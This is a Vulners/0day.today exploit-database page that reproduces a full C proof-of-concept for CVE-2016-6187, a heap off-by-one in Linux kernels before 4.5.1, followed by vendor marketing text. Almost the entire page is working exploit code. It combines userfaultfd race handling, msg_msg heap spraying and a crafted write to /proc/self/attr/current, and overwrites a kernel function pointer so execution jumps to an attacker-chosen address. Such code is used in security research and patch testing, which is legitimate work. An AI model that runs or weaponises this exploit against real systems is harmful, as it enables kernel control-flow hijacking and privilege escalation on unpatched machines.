Lucene search
K

Linux Kernel < 4.5.1 - Off-By-One (PoC) Exploit

🗓️ 20 Mar 2018 00:00:00Reported by Vitaly NikolenkoType 
zdt
 zdt
🔗 0day.today👁 42 Views

Linux Kernel < 4.5.1 - Off-By-One (PoC) Exploit. CVE-2016-6187 heap off-by-one exploit, gcc matreshka.c -o matreshk

Related
Code
/**
 EDB Note ~ Download: http://cyseclabs.com/exploits/matreshka.c
 Blog ~ http://cyseclabs.com/blog/cve-2016-6187-heap-off-by-one-exploit
**/
 
/**
 * Quick and dirty PoC for CVE-2016-6187 heap off-by-one PoC
 * By Vitaly Nikolenko
 * [email protected]
 *
 * There's no privilege escalation payload but the kernel will execute
 * instructions from 0xdeadbeef.
 *
 * gcc matreshka.c -o matreshka -lpthread
 *
 * greetz to dmr and s1m0n
 */
#include <stdio.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <string.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <linux/userfaultfd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <strings.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <poll.h>
#include <pthread.h>
#include <stdint.h>
 
void setup_pagefault(void *, unsigned, uint8_t);
 
const int pagesize = 4096;
 
struct {
    long mtype;
    char mtext[48];
} msg;
 
struct thread_struct {
    int fd;
    uint8_t h_sw; // handler switch
    uint8_t count;
};
 
struct subprocess_info {
    long a; long b; long c; long d; // 32 bytes for work_struct
    long *complete;
    char *path;
    char **argv;
    char **envp;
    int wait;
    int retval;
    int (*init)(void);
    int (*cleanup)(void);
    void *data;
};
 
void *pf_handler(void *data) {
    struct thread_struct *params = data;
    int count = params->count;
 
    int fd = params->fd;
 
    for (;;) {
        struct uffd_msg msg;
         
        struct pollfd pollfd[1];
        pollfd[0].fd = params->fd;
        pollfd[0].events = POLLIN;
        int pollres;
         
        pollres = poll(pollfd, 1, -1);
        switch (pollres) {
        case -1:
            perror("poll userfaultfd");
            continue;
            break;
        case 0: continue; break;
        case 1: break;
        default:
            exit(2);
        }
        if (pollfd[0].revents & POLLERR) {
            exit(1);
        }
        if (!(pollfd[0].revents & POLLIN)) {
            continue;
        }
         
        int readret;
        readret = read(fd, &msg, sizeof(msg));
 
        if (readret == -1) {
            if (errno == EAGAIN)
                continue;
            perror("read userfaultfd");
        }
 
        if (readret != sizeof(msg)) {
            fprintf(stderr, "short read, not expected, exiting\n");
            exit(1);
        }
         
        long long addr = msg.arg.pagefault.address;
            char buf[pagesize];
        long *ptr = (long *)buf;
     
        // just for lolz
        memset(buf, 'B', pagesize);
     
        struct uffdio_copy cp;
        cp.src = (long long)buf;
        cp.dst = (long long)(addr & ~(0x1000 - 1));
        cp.len = (long long)pagesize;
        cp.mode = 0;
 
        void *tmp_addr;
 
        if (count != 3) {
            if (count % 2)
                tmp_addr = (void *)(0x40000000 & ~(0x1000 - 1));
            else
                tmp_addr = (void *)((0x40000000 & ~(0x1000 - 1)) + 0x1000);
 
            // remap and set up the page fault hander
            munmap(tmp_addr, 0x1000);
            void *region = mmap(tmp_addr, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
            setup_pagefault(tmp_addr, 0x1000, ++count);
        } else {
            // change the first page which is already mmaped
            struct subprocess_info *p = (struct subprocess_info *)(0x40000000 + 0x1000 - 88);
            p->path = 0;
            p->cleanup = (void *)0xdeadbeef;
        }
         
        if (ioctl(fd, UFFDIO_COPY, &cp) == -1) {
            perror("ioctl(UFFDIO_COPY)");
        }
    }
    return NULL;
}
 
 
void setup_pagefault(void *addr, unsigned size, uint8_t count) {
    void *region;
    int uffd;
    pthread_t uffd_thread;
    struct uffdio_api uffdio_api;
 
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
 
    if (uffd == -1) {
        perror("syscall");
        return;
    }
 
    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
 
        // just to be nice
    if (ioctl(uffd, UFFDIO_API, &uffdio_api)) {
        fprintf(stderr, "UFFDIO_API\n");
        exit(1);
    }
 
    if (uffdio_api.api != UFFD_API) {
        fprintf(stderr, "UFFDIO_API error %Lu\n", uffdio_api.api);
        exit(1);
    }
 
    struct uffdio_register uffdio_register;
    uffdio_register.range.start = (unsigned long)addr;
    uffdio_register.range.len = size;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
 
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
        perror("ioctl(UFFDIO_REGISTER)");
        exit(1);
    }
    printf("userfaultfd ioctls: 0x%llx\n", uffdio_register.ioctls);
 
    int expected = UFFD_API_RANGE_IOCTLS;
    if ((uffdio_register.ioctls & expected) != expected) {
        fprintf(stderr, "ioctl set is incorrect\n");
        exit(1);
    }
 
    struct thread_struct thr_params;
        struct thread_struct *params = (struct thread_struct *)malloc(sizeof(struct thread_struct));
    params->fd = uffd;
        params->count = count;
    pthread_create(&uffd_thread, NULL, pf_handler, (void *)params);
}
 
int main(int argc, char **argv) {
    void *region, *map;
    pthread_t uffd_thread;
    int uffd, msqid, i;
 
    region = (void *)mmap((void *)0x40000000, 0x2000, PROT_READ|PROT_WRITE,
                               MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, 0);
 
    if (!region) {
        perror("mmap");
        exit(2);
    }
 
    setup_pagefault(region + 0x1000, 0x1000, 1);
 
    printf("my pid = %d\n", getpid());
 
    if (!map) {
        perror("mmap");
    }
 
    //memset(msg.mtext, 'A', sizeof(msg.mtext)-1);
    unsigned long *p = (unsigned long *)msg.mtext;
    for (i = 0; i < 6; i++) {
        *p ++ = 0x0000000040000000 + 0x1000 - 88;
    }
    msg.mtype = 1;
 
    msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
 
    for (i = 0; i < 320; i++) { // that's generally the limit
        if (msgsnd(msqid, &msg, 48, 0) == -1) {
            perror("msgsnd");
            return -1;
        }
    }
 
    char buf[96];
    p = (unsigned long *)buf;
 
    for (i = 0; i < 11; i++) {
        *p ++ = 0x40000000 + 0x1000 - 88;
    }
    *p ++ = 0xfffffffffffffff;
 
    int fd = open("/proc/self/attr/current", O_RDWR);
    write(fd, buf, 96);
 
        // go figure why we do it 3 times
    msgsnd(msqid, &msg, 48, 0);
    msgsnd(msqid, &msg, 48, 0);
    msgsnd(msqid, &msg, 48, 0);
 
    socket(22, AF_INET, 0);
 
    close(fd);
    return 0;
}

#  0day.today [2018-04-02]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Mar 2018 00:00Current
7.8High risk
Vulners AI Score7.8
EPSS0.06081
42